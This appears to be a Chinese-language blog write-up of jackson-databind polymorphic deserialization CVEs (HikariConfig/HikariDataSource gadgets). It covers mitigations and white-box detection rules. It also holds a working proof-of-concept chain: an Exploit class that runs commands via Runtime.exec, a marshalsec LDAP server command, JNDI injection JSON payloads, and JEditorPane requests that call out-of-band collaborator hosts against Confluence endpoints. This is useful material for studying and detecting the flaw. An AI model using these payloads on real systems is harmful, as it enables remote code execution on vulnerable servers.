CVE-2019-14540

A Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10. It is related to com.zaxxer.hikari.HikariConfig.

这里使用的是:com.zaxxer.hikari.HikariConfig

CVE-2019-16335

A Polymorphic Typing issue was discovered in FasterXML jackson-databind before 2.9.10. It is related to com.zaxxer.hikari.HikariDataSource. This is a different vulnerability than CVE-2019-14540.

这里使用的是:com.zaxxer.hikari.HikariDataSource。通过找到com.zaxxer.hikari的github

com.zaxxer.hikari.HikariDataSource继承了com.zaxxer.hikari.HikariConfig

号称性能最好的JDBC连接池。
参考:https://blog.csdn.net/u013445530/article/details/50607180

可以看到最近的commit,黑名单中增加了两个类:
https://github.com/FasterXML/jackson-databind/commit/73c1c2cc76e6cdd7f3a5615cbe3207fe96e4d3db
这个文件的作用:

这些黑名单类存在的意义:

Set of well-known “nasty classes”, deserialization of which is considered dangerous and should (and is) prevented by default.

利用:
com.zaxxer.hikari.HikariDataSource这个gadgets。
关于gadgets的解释:

Gadgets are classes that allow performing otherwise non-accessible methods or accessing non-accessible data, when instantiated and modified via setters and/or assignments to fields (necessary during reading of data into Objects, aka deserialization; or during writing of Objects as data, aka Serialization).

缓解措施

好像一般的缓解措施都是禁用default typing。

而想要启用这个选项,需要设置:

objectMapper.enableDefaultTyping();

以下翻译自:https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062


附录

开始的研究在default JDK的反序列化上。

序列化(Serializing)的别名

marshalling、pickling

被利用的前提条件(如果我用jackson作为json库是否一定受影响?)

As usual, the full answer is “It Depends”. But the likely answer is “probably not”. The reason for this is that for exploit to work, multiple things must be true and commonly at least one pre-requisite is not true.
But let’s look at these pre-requisite.

这个得“看情况”。其实“一般不会”。原因是,漏洞想被利用成功,有多个前提条件需要满足。然而一般情况下,至少有一个前提条件满足不了。看看这些前提条件都有哪些。

  • 1、JSON数据可控;
  • 2、至少能找到一个gadget,在受影响服务的Java的classpath中;
  • 3、开启了多态类型的处理(Enable polymorphic type handling);也就是enableDefaultTyping()
  • 4、刚好这个版本的jacskon还没有将这个gadget加入到黑名单中。

关键看一下3和4.
3、如何开启多态处理,
一种方法是:

在json请求中直接指定具体的类名。但是需要annotating
另外一种方式是:

import com.fasterxml.jackson.databind.ObjectMapper;ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // or one of variants

实际上做的就是在抽象类型加上了这样的annotating:

@JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)

以上翻译自:https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062

参考

  • jackson-databind的各种CVE
  • 全面介绍jackson的CVE
  • https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

环境搭建

https://github.com/caiqiqi/jackson-databind-POC

Exploit.java

public class Exploit {public Exploit() {try {if (System.getProperty("os.name").toLowerCase().startsWith("win")) {Runtime.getRuntime().exec("calc.exe");} else if (System.getProperty("os.name").toLowerCase().startsWith("mac")) {Runtime.getRuntime().exec("open /Applications/Calculator.app");} else {Runtime.getRuntime().exec("/bin/ping fasterxml.a3f7231bbd0810686e0a.d.zhack.ca");}} catch (Exception e) {e.printStackTrace();}}
}

编译

java -version
java version "1.8.0_101"
Java(TM) SE Runtime Environment (build 1.8.0_101-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.101-b13, mixed mode)
javac Exploit.java

在8000端口开启HTTP或者FTP服务

python -m SimpleHTTPServer

提供Exploit.class等待被调用。

使用marshalsec监听在1389端口

java -cp marshalsec/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389

执行poc

import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;/*** @author 浅蓝* @email blue@ixsec.org* @since 2019/7/31 14:15*/
public class HikariTest {public static void main(String[] args){String json = "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"ldap://127.0.0.1:1389/exploit\"}]";try{ObjectMapper objectMapper = new ObjectMapper();objectMapper.enableDefaultTyping();objectMapper.readValue(json,Object.class);} catch(IOException e){e.printStackTrace();}}}

或者在命令行下执行:

java -classpath /Users/caiqiqi/Downloads/rmi/rmi/libs/HikariCP-2.4.0.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-core-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-annotations-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-databind-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/slf4j-api-1.7.28.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/slf4j-simple-1.7.28.jar:. HikariTest

Demo

需要的library有:

  • jackson-databind-2.9.6.jar
  • jackson-core-2.9.6.jar
  • jackson-annotations-2.9.6.jar
  • HikariCP-2.4.0.jar
  • slf4j-api-1.7.28.jar
  • slf4j-simple-1.7.28.jar

如果使用mvn一定记得加上这三个

     <!-- 处理json数据(jackson)--><!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.9.9.3</version></dependency><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-core</artifactId><version>2.9.9</version></dependency><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-annotations</artifactId><version>2.9.6</version></dependency>

否则出现各种错误!
然后在IDEA中加入jackson-databind的tag为2.9.6版本的作为source。

如果是用Spring boot启动的话,如果classpath里没有这个包会在日志中记录这个异常:

["com.zaxxer.hikari.HikariConfig",{"metricRegistry":"ldap://127.0.0.1:1389/exploit"}]
com.fasterxml.jackson.databind.exc.InvalidTypeIdException: Could not resolve type id 'com.zaxxer.hikari.HikariConfig' as a subtype of [simple type, class java.lang.Object]: no such class found
import com.fasterxml.jackson.databind.ObjectMapper;ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();

这一句比较复杂,暂时理解不了。
看下一句关键的:

objectMapper.readValue(json,Object.class);

跟了一会儿,终于看到了要被反序列化的类名了:
jackson-databind/src/main/java/com/fasterxml/jackson/databind/introspect/AnnotatedConstructor#call
调用栈为:

call:119, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)
createUsingDefault:270, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)
vanillaDeserialize:277, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:71, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:712, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:68, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:18, HikariTest

再看看到底这个构造器里做了什么:
构造器里倒是什么都没做,只是赋值了一些变量。

再继续看:
jackson-databind/src/main/java/com/fasterxml/jackson/databind/deser/BeanDeserializer#vanillaDeserialize

ackson-databind/src/main/java/com/fasterxml/jackson/databind/deser/impl/MethodProperty#deserializeAndSet中:

表示通过反射调用com.zaxxer.hikari.HikariConfig对象的

public void com.zaxxer.hikari.HikariConfig.setMetricRegistry(java.lang.Object)

这个方法?并且传入的值为ldap://127.0.0.1:1389/exploit?

果然下一步就进入到这里:
HikariCP-2.4.0.jar!/com/zaxxer/hikari/HikariConfig#setMetricRegistry

300行,判断这个参数是否为String类型的,若是,则将其强制类型转换之后,调用

initCtx.lookup((String)metricRegistry)


没有引包还是怎么,
下一步就发现进入到了这里:

再看之前监听到LDAP服务,已经有了动静:

仔细看看调用过程:
/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/src.zip!/javax/naming/InitialContext#lookup

/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/rt.jar!/com/sun/jndi/url/ldap/ldapURLContext#lookup

一路lookup,到了这里准备反射调用Exploit类:

执行其构造器中的代码:

调用栈为:

<init>:2, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
newInstance:442, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
setMetricRegistry:486, HikariConfig (com.zaxxer.hikari)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
deserializeAndSet:139, MethodProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:71, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:712, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserialize:68, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)
_readMapAndClose:4013, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3004, ObjectMapper (com.fasterxml.jackson.databind)
main:18, HikariTest

在Wireshark里抓一个lo网卡的包(tcp.port==8000||tcp.port==1389),找8000和1389端口的流量,看看是什么样子:

1389端口(LDAP协议?)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MyBcDnUL-1581648178380)(https://note.youdao.com/yws/public/resource/506a616601f32f53243cbdd59dbb3b36/xmlnote/WEBRESOURCE7e01c7b64c821a3d937cb2c8e5d5843a/8522)]

8000端口(Exploit.class的类容)

没抓到包?
又试了一下,原来并不需要提供一个Exploit.class的服务?

原来不是,可能是因为从本地的CLASSPATH中可以获取到这个class文件,于是没有发起这个请求。

参考:https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/

附录

报错信息如下:

/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/bin/java "-javaagent:/Applications/IntelliJ IDEA 2.app/Contents/lib/idea_rt.jar=49937:/Applications/IntelliJ IDEA 2.app/Contents/bin" -Dfile.encoding=UTF-8 -classpath /Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/charsets.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/deploy.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/cldrdata.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/dnsns.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/jaccess.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/jfxrt.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/localedata.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/nashorn.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/sunec.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/sunjce_provider.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/sunpkcs11.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/ext/zipfs.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/javaws.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/jce.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/jfr.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/jfxswt.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/jsse.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/management-agent.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/plugin.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/resources.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/rt.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/ant-javafx.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/dt.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/javafx-mx.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/jconsole.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/packager.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/sa-jdi.jar:/Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/lib/tools.jar:/Users/caiqiqi/Downloads/rmi/rmi/out/production/rmi:/Users/caiqiqi/Downloads/rmi/rmi/libs/slf4j-simple-1.7.28.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/slf4j-api-1.7.28.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/HikariCP-2.4.0.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-core-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-databind-2.9.6.jar:/Users/caiqiqi/Downloads/rmi/rmi/libs/jackson-annotations-2.9.6.jar HikariTest
objc[64928]: Class JavaLaunchHelper is implemented in both /Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/bin/java (0x10f0f04c0) and /Library/Java/JavaVirtualMachines/jdk1.8.0_101.jdk/Contents/Home/jre/lib/libinstrument.dylib (0x10f1884e0). One of the two will be used. Which one is undefined.
com.fasterxml.jackson.databind.JsonMappingException: Exploit cannot be cast to javax.naming.spi.ObjectFactoryat [Source: (String)"["com.zaxxer.hikari.HikariConfig",{"metricRegistry":"ldap://127.0.0.1:1389/exploit"}]"; line: 1, column: 53] (through reference chain: com.zaxxer.hikari.HikariConfig["metricRegistry"])at com.fasterxml.jackson.databind.JsonMappingException.from(JsonMappingException.java:277)at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:611)at com.fasterxml.jackson.databind.deser.SettableBeanProperty._throwAsIOE(SettableBeanProperty.java:599)at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:141)at com.fasterxml.jackson.databind.deser.BeanDeserializer.vanillaDeserialize(BeanDeserializer.java:288)at com.fasterxml.jackson.databind.deser.BeanDeserializer.deserialize(BeanDeserializer.java:151)at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer._deserialize(AsArrayTypeDeserializer.java:116)at com.fasterxml.jackson.databind.jsontype.impl.AsArrayTypeDeserializer.deserializeTypedFromAny(AsArrayTypeDeserializer.java:71)at com.fasterxml.jackson.databind.deser.std.UntypedObjectDeserializer$Vanilla.deserializeWithType(UntypedObjectDeserializer.java:712)at com.fasterxml.jackson.databind.deser.impl.TypeWrappedDeserializer.deserialize(TypeWrappedDeserializer.java:68)at com.fasterxml.jackson.databind.ObjectMapper._readMapAndClose(ObjectMapper.java:4013)at com.fasterxml.jackson.databind.ObjectMapper.readValue(ObjectMapper.java:3004)at HikariTest.main(HikariTest.java:25)
Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactoryat javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)at javax.naming.InitialContext.lookup(InitialContext.java:417)at com.zaxxer.hikari.HikariConfig.setMetricRegistry(HikariConfig.java:486)at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)at java.lang.reflect.Method.invoke(Method.java:498)at com.fasterxml.jackson.databind.deser.impl.MethodProperty.deserializeAndSet(MethodProperty.java:139)... 9 moreProcess finished with exit code 0

Id.CLASS是什么?

jackson-annotations-2.9.6.jar!/com/fasterxml/jackson/annotation/JsonTypeInfo.class中

参考:
https://www.ibm.com/developerworks/cn/java/jackson-advanced-application/index.html

测试Confluence自带的jackson

虽然其自带的版本是1.x的,

找到了两个POST json的接口

POST /rest/analytics/1.0/publish/bulk HTTP/1.1
Host: cqq.com:8090
Content-Type: application/json[{"name":"browser.metrics.navigation","javax.swing.JEditorPane", {"page":"http://pc5xqsdmchqphdgyx1kg6ttcz35xtm.burpcollaborator.net:80/?a=1&b=2222"}]

POST /rest/webResources/1.0/resources HTTP/1.1
Host: cqq.com:8090
Content-Type: application/json["javax.swing.JEditorPane", {"page":"http://pc5xqsdmchqphdgyx1kg6ttcz35xtm.burpcollaborator.net:80/?a=1&b=2222"}]

让其报错:
com.atlassian.analytics.client.browser.PublisherResource$BrowserEventBean


com.atlassian.webresource.plugin.rest.ListOfResources$Request
报错的原因是Confluence反序列化json的时候指定了具体的类,而指定哪个类这个参数用户不可控。尝试查看这个类的结构,看能不能注入一个恶意对象,发现其都是String,Int等普通类型,没有恶意对象注入点。

不过通过报错可以知道反序列化的类型是什么,不过也不重要。

atlassian-confluence-5.8.18\confluence\WEB-INF\atlassian-bundled-plugins\atlassian-rest-module-2.9.24.jar!\org\codehaus\jackson\jaxrs\JacksonJsonProvider#readFrom

另外也可见:

enableDefaultTyping();

实际也是调用

enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);

jackson反序列化白盒检测

先看几个白盒检测存在漏洞的示例:
来源:https://github.com/find-sec-bugs/find-sec-bugs/blob/master/findsecbugs-samples-java/src/test/java/testcode/serial/UnsafeJacksonObjectDeserialization.java


public class UnsafeJacksonObjectDeserialization {static class ABean {public int id;public Object obj;}static class AnotherBean {@JsonTypeInfo (use = JsonTypeInfo.Id.CLASS)public Object obj;}static class YetAnotherBean {@JsonTypeInfo (use = JsonTypeInfo.Id.MINIMAL_CLASS)public Object obj;}public void exampleOne(String JSON)  throws Exception {ObjectMapper mapper = new ObjectMapper();mapper.enableDefaultTyping();Object obj = mapper.readValue(JSON, ABean.class);}public void exampleTwo(String JSON)  throws Exception {ObjectMapper mapper = new ObjectMapper();mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);Object obj = mapper.readValue(JSON, ABean.class);}public void exampleThree(String JSON)  throws Exception {ObjectMapper mapper = new ObjectMapper();Object obj = mapper.readValue(JSON, AnotherBean.class);}public void exampleFour(String JSON)  throws Exception {ObjectMapper mapper = new ObjectMapper();Object obj = mapper.readValue(JSON, YetAnotherBean.class);}}

从上面的四个例子可以总结出存在漏洞的jackson代码有这么几种情况:
1、exampleOne开启了DefaultTyping,且被序列化的类里有一个Object类型,可以进行对象注入;
2、exampleTwo开启了DefaultTyping,且接口类和抽象类都能被反序列化,更可以进行对象注入;
3、exampleThree虽然没有开启DefaultTyping,但是其被序列化的类被JsonTypeInfo.Id.CLASS修饰,可以通过@class进行对象注入;
4、exampleThree虽然没有开启DefaultTyping,但是其被序列化的类被JsonTypeInfo.Id.MINIMAL_CLASS修饰,可以通过@c进行对象注入;

再看一个jackson反序列化白盒检测的误报示例:
来源:https://github.com/find-sec-bugs/find-sec-bugs/blob/master/findsecbugs-samples-java/src/test/java/testcode/serial/JacksonSerialisationFalsePositive.java

public class JacksonSerialisationFalsePositive implements Serializable {static class Bean {@JsonTypeInfo (use = JsonTypeInfo.Id.NAME)public Object obj;}public void exampleOne(String JSON)  throws Exception {ObjectMapper mapper = new ObjectMapper();Object obj = mapper.readValue(JSON, JacksonSerialisationFalsePositive.class);}public void exampleTwo(String JSON)  throws Exception {ObjectMapper mapper = new ObjectMapper();Object obj = mapper.readValue(JSON, Bean.class);}
}

1、exampleOne中没有开启DefaultTyping,且其待反序列化的类没有使用JsonTypeInfo.Id.CLASS/MININAL_CLASS修饰,所以无法进行对象注入;
2、exampleTwo中没有开启DefaultTyping,且其待反序列化的类没有使用JsonTypeInfo.Id.CLASS/MININAL_CLASS修饰,所以无法进行对象注入;

现在一个一个来说:

objectMapper.enableDefaultTyping();
objectMapper.readValue(params, InputStream.class);

不存在漏洞,异常为:

如果直接:

objectMapper.readValue(params, InputStream.class);

不存在漏洞,异常为:

如果:

objectMapper.readValue(params, Object.class);

直接反序列化Object类:
没有异常,但是也无法调用payload中的方法。

如果是:

// 注意ABean类里有一个Object字段,而且其名字叫obj,这直接关系到json的payload里的名字static class ABean {public int id;public Object obj;}objectMapper.enableDefaultTyping();
objectMapper.readValue(params, ABean.class);

相应地,使用这个payload:

{"obj": ["javax.swing.JEditorPane", {"page":"http://z00nlwe4p8gfxkqh8bu6zg0ce3ku8j.burpcollaborator.net:80/?a=1&b=2222"}]}

因为这里的obj对象是public的,所以直接使用这个名字,如果有setObj方法,则调用setObj方法。

com\fasterxml\jackson\core\jackson-databind\2.9.9.3\jackson-databind-2.9.9.3.jar!\com\fasterxml\jackson\databind\deser\BeanDeserializer#vanillaDeserialize

看一下调用栈:

deserializeAndSet:141, MethodProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeTypedFromAny:71, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)
deserializeWithType:712, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)
deserializeAndSet:147, FieldProperty (com.fasterxml.jackson.databind.deser.impl)
vanillaDeserialize:288, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4014, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3005, ObjectMapper (com.fasterxml.jackson.databind)
deserialize1:80, Jackson (org.joychou.controller)
...

最后是反射调用方法,设置属性值:

如果不加enableDefaultTyping();,即代码是这样:

    static class ABean {public int id;public Object obj;}objectMapper.readValue(params, ABean.class);

则直接在这里返回了:

vanillaDeserialize:297, BeanDeserializer (com.fasterxml.jackson.databind.deser)
deserialize:151, BeanDeserializer (com.fasterxml.jackson.databind.deser)
_readMapAndClose:4014, ObjectMapper (com.fasterxml.jackson.databind)
readValue:3005, ObjectMapper (com.fasterxml.jackson.databind)
deserialize1:80, Jackson (org.joychou.controller)

jackson反序列化基本原理

代码示例:

    public static void main(String[] args)throws IOException{Person p = new Person();p.age = 10;p.name = "Alice";p.object = new Dna();ObjectMapper objectMapper = new ObjectMapper();
//        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
//        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
//        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
//        objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);String json = objectMapper.writeValueAsString(p);System.out.println(json);}static class Person {public int age;public String name;public Object object;@Overridepublic String toString() {return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);}}static class Dna {public int length = 100;}

1、不加enableDefaultTyping:

{"age":10,"name":"Alice","object":{"length":100},"sexObj":{"sex":0}}

2、enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
当类里的属性声明为一个Object时,会对该属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化/反序列化的类)

{"age":10,"name":"Alice","object":["org.joychou.controller.Jackson$Dna",{"length":100}],"sexObj":{"sex":0}}

3、enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
除了上文 提到的特征,当类里有 Interface 、 AbstractClass 时,对其进行序列化和反序列化。(当然,这些类本身需要是合法的、可以被序列化/反序列化的对象)。

{"age":10,"name":"Alice","object":["org.joychou.controller.Jackson$Dna",{"length":100}],"sexObj":["org.joychou.controller.Jackson$MySex",{"sex":0}]}

4、enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
除了上文提到的特征,还支持上文全部类型的Array类型。

{"age":10,"name":"Alice","object":["[Lorg.joychou.controller.Jackson$Dna;",[{"length":100},{"length":100}]],"sexObj":["org.joychou.controller.Jackson$MySex",{"sex":0}]}

5、enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
包括上文提到的所有特征,而且包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的的属性信息都需要被序列化和反序列化。

["org.joychou.controller.Jackson$Person",{"age":10,"name":"Alice","object":["org.joychou.controller.Jackson$Dna",{"length":100}],"dna":["org.joychou.controller.Jackson$Dna",{"length":100}],"sexObj":["org.joychou.controller.Jackson$MySex",{"sex":0}],"finalObject":"test final object"}]

第1种情况,什么类型都解析不出来;
第2种情况,可以解析出Object类型的对象类型名;
第3种情况,可以解析出Interface类型的对象类型名;
第4种情况,可以解析出数组类型的对象;
第5种情况,只有final修饰的解析不出具体类型名;其他都解析出类型名了。

发现2-5的结果,多出来了类的信息,这就是 EnableDefaultTyping ,在序列化的String里,包含类原本的一些信息,将来反的时候会进行还原。

默认的、无参的enableDefaultTyping是第二个等级,OBJECT_AND_NON_CONCRETE

总结一下,如果开启了这个功能,就可以指定被反序列化的那个类!
这四个等级的解析能力是依次递增的。NON_FINAL是最高的。

总结

第一个特征是关于 EnableDefaultTyping 的,注意他的多个重载方法,共有4个:

ObjectMapper enableDefaultTyping()
ObjectMapper enableDefaultTyping(DefaultTyping dti)
ObjectMapper enableDefaultTyping(DefaultTyping applicability, JsonTypeInfo.As includeAs)
ObjectMapper enableDefaultTypingAsProperty(DefaultTyping applicability, String propertyName)

只要匹配到,就算命中了条件A。

第二个特征是在 readValue 时候,指定的类本身是Object或者里面一定要包含Object类型字段或者Object类型的setter。

public <T> T readValue(String content, JavaType valueType)
public <T> T readValue(Reader src, Class<T> valueType)
public <T> T readValue(Reader src, TypeReference valueTypeRef)
public <T> T readValue(Reader src, JavaType valueType)

所以只要匹配到这个,就需要对第二个参数进行解析,确认这个Model是否是可以被攻击的Model。如果包含了Object或者本身就是个Object,就认为命中了条件B。

第三个特征是被反序列的类里面,有被 JsonTypeInfo 注解过的类,而且里面的内容是 JsonTypeInfo.Id.CLASSJsonTypeInfo.Id.MINIMAL_CLASS 。记做条件C。

最终条件就是 (A&&B) || C。

下面给出一个C的示例:

public class Jackson {static class AnotherBean {@JsonTypeInfo (use = JsonTypeInfo.Id.CLASS)public Object obj;}@RequestMapping(value = "/deserialize3", method = {RequestMethod.POST})@ResponseBodypublic static String deserialize3(@RequestBody String params) throws IOException {System.out.println(params);try {ObjectMapper objectMapper = new ObjectMapper();Object obj = objectMapper.readValue(params, AnotherBean.class);return obj.toString();}  catch (Exception e){e.printStackTrace();return e.toString();}}

相应的payload为:

POST /jackson/deserialize3 HTTP/1.1
Host: cqq.com:8080
Connection: close
Cookie: JSESSIONID=C48313A5CE14AE7A1C15696C03AE0893
Content-Type: application/json
Content-Length: 127{"obj":{"@class":"javax.swing.JEditorPane","page":"http://ivh6gf9nkrbys3l03uppuzvv9mfg35.burpcollaborator.net:80/?a=1&b=2222"}}

参考

  • Jackson反序列化漏洞简介(一):Jackson基本的工作原理
  • Jackson反序列化漏洞简介(四): 防御和检测方式【系列完结】

jackson-databind反序列化漏洞相关推荐

  1. Jackson 反序列化漏洞原理

    0x00 前言 Jackson 最基础的功能就是将制定的类 序列化 to json,然后json to 序列化的这样一个工具第三方库,正常情况下因为需要执行类进行转换,所以除非是故意留有后门,否则是不 ...

  2. xstream 反序列化漏洞研究与修复

    文章目录 1.简介 2.举例 3.漏洞 CVE-2020-26217 CVE-2020-26258 CVE-2020-26259 调试 4.修复 1.简介 xstream是一个用于序列化和反序列化的j ...

